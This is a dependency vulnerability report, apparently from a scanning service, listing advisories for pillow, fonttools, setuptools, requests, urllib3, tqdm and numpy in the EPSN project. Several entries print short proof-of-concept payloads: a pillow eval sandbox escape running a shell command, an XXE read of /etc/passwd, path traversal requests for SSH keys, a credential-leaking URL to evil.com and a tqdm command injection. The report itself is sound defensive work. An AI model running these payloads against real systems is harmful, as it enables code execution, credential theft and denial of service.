Find, fix and prevent vulnerabilities in your code.
critical severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.1
Detailed paths
-
Introduced through: cjk5642/EPSN@cjk5642/EPSN#ea55627ea5fcf57a796675dcfc180f5fd011e8a6 › matplotlib@3.5.1 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.1.
Overview
Pillow is a PIL (Python Imaging Library) fork.
Affected versions of this package are vulnerable to Heap-based Buffer Overflow when the ReadHuffmanCodes() function is used. An attacker can craft a special WebP lossless file that triggers the ReadHuffmanCodes() function to allocate the HuffmanCode buffer with a size that comes from an array of precomputed sizes: kTableSize. The color_cache_bits value defines which size to use. The kTableSize array only takes into account sizes for 8-bit first-level table lookups but not second-level table lookups. libwebp allows codes that are up to 15-bit (MAX_ALLOWED_CODE_LENGTH). When BuildHuffmanTable() attempts to fill the second-level tables it may write data out-of-bounds. The OOB write to the undersized array happens in ReplicateValue.
Notes:
This is only exploitable if the color_cache_bits value defines which size to use.
This vulnerability was also published on libwebp CVE-2023-5129
Changelog:
2023-09-12: Initial advisory publication
2023-09-27: Advisory details updated, including CVSS, references
2023-09-27: CVE-2023-5129 rejected as a duplicate of CVE-2023-4863
2023-09-28: Research and addition of additional affected libraries
2024-01-28: Additional fix information
Remediation
Upgrade Pillow to version 10.0.1 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.1
Detailed paths
-
Introduced through: cjk5642/EPSN@cjk5642/EPSN#ea55627ea5fcf57a796675dcfc180f5fd011e8a6 › matplotlib@3.5.1 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.1.
Overview
Affected versions of this package are vulnerable to Eval Injection via the PIL.ImageMath.eval function when an attacker has control over the keys passed to the environment argument.
PoC
from PIL import Image, ImageMath
image1 = Image.open('__class__')
image2 = Image.open('__bases__')
image3 = Image.open('__subclasses__')
image4 = Image.open('load_module')
image5 = Image.open('system')
expression = "().__class__.__bases__[0].__subclasses__()[104].load_module('os').system('whoami')"
environment = {
image1.filename: image1,
image2.filename: image2,
image3.filename: image3,
image4.filename: image4,
image5.filename: image5
}
ImageMath.eval(expression, **environment)
Remediation
Upgrade pillow to version 10.2.0 or higher.
References
high severity
- Vulnerable module: fonttools
- Introduced through: matplotlib@3.5.1
Detailed paths
-
Introduced through: cjk5642/EPSN@cjk5642/EPSN#ea55627ea5fcf57a796675dcfc180f5fd011e8a6 › matplotlib@3.5.1 › fonttools@4.38.0Remediation: Upgrade to matplotlib@3.5.1.
Overview
fonttools is a Tools to manipulate font files
Affected versions of this package are vulnerable to XML External Entity (XXE) Injection via the OT-SVG parser in the svg.py file.
Details
XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.
Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.
For example, below is a sample XML document, containing an XML element- username.
<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<username>John</username>
</xml>
An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.
<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<username>&xxe;</username>
</xml>
Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.
Remediation
Upgrade fonttools to version 4.43.0 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.1
Detailed paths
-
Introduced through: cjk5642/EPSN@cjk5642/EPSN#ea55627ea5fcf57a796675dcfc180f5fd011e8a6 › matplotlib@3.5.1 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.1.
Overview
Affected versions of this package are vulnerable to Denial of Service (DoS) when using arbitrary strings as text input and the number of characters passed into PIL.ImageFont.ImageFont.getmask() is over a certain limit. This can lead to a system crash.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade pillow to version 10.2.0 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.1
Detailed paths
-
Introduced through: cjk5642/EPSN@cjk5642/EPSN#ea55627ea5fcf57a796675dcfc180f5fd011e8a6 › matplotlib@3.5.1 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.1.
Overview
Affected versions of this package are vulnerable to Denial of Service (DoS) if the size of individual glyphs extends beyond the bitmap image, when using PIL.ImageFont.ImageFont function. Exploiting this vulnerability could lead to a system crash.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade pillow to version 10.2.0 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.1
Detailed paths
-
Introduced through: cjk5642/EPSN@cjk5642/EPSN#ea55627ea5fcf57a796675dcfc180f5fd011e8a6 › matplotlib@3.5.1 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.1.
Overview
Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') when the ImageFont truetype in an ImageDraw instance operates on a long text argument. An attacker can cause the service to crash by processing a task that uncontrollably allocates memory.
Remediation
Upgrade pillow to version 10.0.0 or higher.
References
high severity
- Vulnerable module: setuptools
- Introduced through: setuptools@58.0.4
Detailed paths
-
Introduced through: cjk5642/EPSN@cjk5642/EPSN#ea55627ea5fcf57a796675dcfc180f5fd011e8a6 › setuptools@58.0.4Remediation: Upgrade to setuptools@70.0.0.
Overview
Affected versions of this package are vulnerable to Improper Control of Generation of Code ('Code Injection') through the package_index module's download functions due to the unsafe usage of os.system. An attacker can execute arbitrary commands on the system by providing malicious URLs or manipulating the URLs retrieved from package index servers.
Note
Because easy_install and package_index are deprecated, the exploitation surface is reduced, but it's conceivable through social engineering or minor compromise to a package index could grant remote access.
Remediation
Upgrade setuptools to version 70.0.0 or higher.
References
medium severity
- Vulnerable module: setuptools
- Introduced through: setuptools@58.0.4
Detailed paths
-
Introduced through: cjk5642/EPSN@cjk5642/EPSN#ea55627ea5fcf57a796675dcfc180f5fd011e8a6 › setuptools@58.0.4Remediation: Upgrade to setuptools@78.1.1.
Overview
Affected versions of this package are vulnerable to Directory Traversal through the PackageIndex._download_url method. Due to insufficient sanitization of special characters, an attacker can write files to arbitrary locations on the filesystem with the permissions of the process running the Python code. In certain scenarios, an attacker could potentially escalate to remote code execution by leveraging malicious URLs present in a package index.
PoC
python poc.py
# Payload file: http://localhost:8000/%2fhome%2fuser%2f.ssh%2fauthorized_keys
# Written to: /home/user/.ssh/authorized_keys
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade setuptools to version 78.1.1 or higher.
References
medium severity
- Vulnerable module: urllib3
- Introduced through: sportsipy@0.6.0
Detailed paths
-
Introduced through: cjk5642/EPSN@cjk5642/EPSN#ea55627ea5fcf57a796675dcfc180f5fd011e8a6 › sportsipy@0.6.0 › requests@2.31.0 › urllib3@2.0.7
Overview
urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.
Affected versions of this package are vulnerable to Improper Removal of Sensitive Information Before Storage or Transfer due to the improper handling of the Proxy-Authorization header during cross-origin redirects when ProxyManager is not in use. When the conditions below are met, including non-recommended configurations, the contents of this header can be sent in an automatic HTTP redirect.
Notes:
To be vulnerable, the application must be doing all of the following:
Setting the
Proxy-Authorizationheader without using urllib3's built-in proxy support.Not disabling HTTP redirects (e.g. with
redirects=False)Either not using an HTTPS origin server, or having a proxy or target origin that redirects to a malicious origin.
Workarounds
Using the
Proxy-Authorizationheader with urllib3'sProxyManager.Disabling HTTP redirects using
redirects=Falsewhen sending requests.Not using the
Proxy-Authorizationheader.
Remediation
Upgrade urllib3 to version 1.26.19, 2.2.2 or higher.
References
medium severity
- Vulnerable module: urllib3
- Introduced through: sportsipy@0.6.0
Detailed paths
-
Introduced through: cjk5642/EPSN@cjk5642/EPSN#ea55627ea5fcf57a796675dcfc180f5fd011e8a6 › sportsipy@0.6.0 › requests@2.31.0 › urllib3@2.0.7
Overview
urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.
Affected versions of this package are vulnerable to Open Redirect due to the retries parameter being ignored during PoolManager instantiation. An attacker can access unintended resources or endpoints by leveraging automatic redirects when the application expects redirects to be disabled at the connection pool level.
Note:
requests and botocore users are not affected.
Workaround
This can be mitigated by disabling redirects at the request() level instead of the PoolManager() level.
Remediation
Upgrade urllib3 to version 2.5.0 or higher.
References
medium severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.1
Detailed paths
-
Introduced through: cjk5642/EPSN@cjk5642/EPSN#ea55627ea5fcf57a796675dcfc180f5fd011e8a6 › matplotlib@3.5.1 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.1.
Overview
Affected versions of this package are vulnerable to Buffer Overflow via the strcpy function in _imagingcms.c, due to two calls that were able to copy too much data into fixed length strings.
Remediation
Upgrade pillow to version 10.3.0 or higher.
References
medium severity
- Vulnerable module: setuptools
- Introduced through: setuptools@58.0.4
Detailed paths
-
Introduced through: cjk5642/EPSN@cjk5642/EPSN#ea55627ea5fcf57a796675dcfc180f5fd011e8a6 › setuptools@58.0.4Remediation: Upgrade to setuptools@65.5.1.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via crafted HTML package or custom PackageIndex page.
Note:
Only a small portion of the user base is impacted by this flaw. Setuptools maintainers pointed out that package_index is deprecated (not formally, but “in spirit”) and the vulnerability isn't reachable through standard, recommended workflows.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade setuptools to version 65.5.1 or higher.
References
medium severity
- Vulnerable module: requests
- Introduced through: sportsipy@0.6.0
Detailed paths
-
Introduced through: cjk5642/EPSN@cjk5642/EPSN#ea55627ea5fcf57a796675dcfc180f5fd011e8a6 › sportsipy@0.6.0 › requests@2.31.0
Overview
Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data due to incorrect URL processing. An attacker could craft a malicious URL that, when processed by the library, tricks it into sending the victim's .netrc credentials to a server controlled by the attacker.
Note:
This is only exploitable if the .netrc file contains an entry for the hostname that the attacker includes in the crafted URL's "intended" part (e.g., example.com in http://example.com:@evil.com/).
PoC
requests.get('http://example.com:@evil.com/')
Remediation
Upgrade requests to version 2.32.4 or higher.
References
medium severity
- Vulnerable module: requests
- Introduced through: sportsipy@0.6.0
Detailed paths
-
Introduced through: cjk5642/EPSN@cjk5642/EPSN#ea55627ea5fcf57a796675dcfc180f5fd011e8a6 › sportsipy@0.6.0 › requests@2.31.0
Overview
Affected versions of this package are vulnerable to Always-Incorrect Control Flow Implementation when making requests through a Requests Session. An attacker can bypass certificate verification by making the first request with verify=False, causing all subsequent requests to ignore certificate verification regardless of changes to the verify value.
Notes:
For requests <2.32.0, avoid setting
verify=Falsefor the first request to a host while using a Requests Session.For requests <2.32.0, call
close()on Session objects to clear existing connections ifverify=Falseis used.This vulnerability was initially fixed in version 2.32.0, which was yanked. Therefore, the next available fixed version is 2.32.2.
Remediation
Upgrade requests to version 2.32.2 or higher.
References
medium severity
- Vulnerable module: tqdm
- Introduced through: tqdm@4.63.0
Detailed paths
-
Introduced through: cjk5642/EPSN@cjk5642/EPSN#ea55627ea5fcf57a796675dcfc180f5fd011e8a6 › tqdm@4.63.0Remediation: Upgrade to tqdm@4.66.3.
Overview
Affected versions of this package are vulnerable to Injection due to the handling of optional non-boolean CLI arguments such as --delim, --buf-size, --manpath through python's eval function. An attacker can execute arbitrary code by injecting malicious input into these arguments.
PoC
python -m tqdm --manpath="\" + str(exec(\"import os\nos.system('echo hi && killall python3')\")) + \""
Remediation
Upgrade tqdm to version 4.66.3 or higher.
References
medium severity
- Module: certifi
- Introduced through: sportsipy@0.6.0
Detailed paths
-
Introduced through: cjk5642/EPSN@cjk5642/EPSN#ea55627ea5fcf57a796675dcfc180f5fd011e8a6 › sportsipy@0.6.0 › requests@2.31.0 › certifi@2025.11.12
MPL-2.0 license
low severity
- Vulnerable module: numpy
- Introduced through: matplotlib@3.5.1 and sportsipy@0.6.0
Detailed paths
-
Introduced through: cjk5642/EPSN@cjk5642/EPSN#ea55627ea5fcf57a796675dcfc180f5fd011e8a6 › matplotlib@3.5.1 › numpy@1.21.3Remediation: Upgrade to matplotlib@3.5.1.
-
Introduced through: cjk5642/EPSN@cjk5642/EPSN#ea55627ea5fcf57a796675dcfc180f5fd011e8a6 › sportsipy@0.6.0 › pandas@1.3.5 › numpy@1.21.3
Overview
numpy is a fundamental package needed for scientific computing with Python.
Affected versions of this package are vulnerable to Buffer Overflow due to missing boundary checks in the array_from_pyobj function of fortranobject.c. This may allow an attacker to conduct Denial of Service by carefully constructing an array with negative values.
Remediation
Upgrade numpy to version 1.22.0 or higher.
References
low severity
- Vulnerable module: numpy
- Introduced through: matplotlib@3.5.1 and sportsipy@0.6.0
Detailed paths
-
Introduced through: cjk5642/EPSN@cjk5642/EPSN#ea55627ea5fcf57a796675dcfc180f5fd011e8a6 › matplotlib@3.5.1 › numpy@1.21.3Remediation: Upgrade to matplotlib@3.5.1.
-
Introduced through: cjk5642/EPSN@cjk5642/EPSN#ea55627ea5fcf57a796675dcfc180f5fd011e8a6 › sportsipy@0.6.0 › pandas@1.3.5 › numpy@1.21.3
Overview
numpy is a fundamental package needed for scientific computing with Python.
Affected versions of this package are vulnerable to Denial of Service (DoS) due to an incomplete string comparison in the numpy.core component, which may allow attackers to fail the APIs via constructing specific string objects.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade numpy to version 1.22.0rc1 or higher.
References
low severity
- Vulnerable module: numpy
- Introduced through: matplotlib@3.5.1 and sportsipy@0.6.0
Detailed paths
-
Introduced through: cjk5642/EPSN@cjk5642/EPSN#ea55627ea5fcf57a796675dcfc180f5fd011e8a6 › matplotlib@3.5.1 › numpy@1.21.3Remediation: Upgrade to matplotlib@3.5.1.
-
Introduced through: cjk5642/EPSN@cjk5642/EPSN#ea55627ea5fcf57a796675dcfc180f5fd011e8a6 › sportsipy@0.6.0 › pandas@1.3.5 › numpy@1.21.3
Overview
numpy is a fundamental package needed for scientific computing with Python.
Affected versions of this package are vulnerable to NULL Pointer Dereference due to missing return-value validation in the PyArray_DescrNew function, which may allow attackers to conduct Denial of Service attacks by repetitively creating and sort arrays.
Note: This may likely only happen if application memory is already exhausted, as it requires the newdescr object of the PyArray_DescrNew to evaluate to NULL.
Remediation
Upgrade numpy to version 1.22.2 or higher.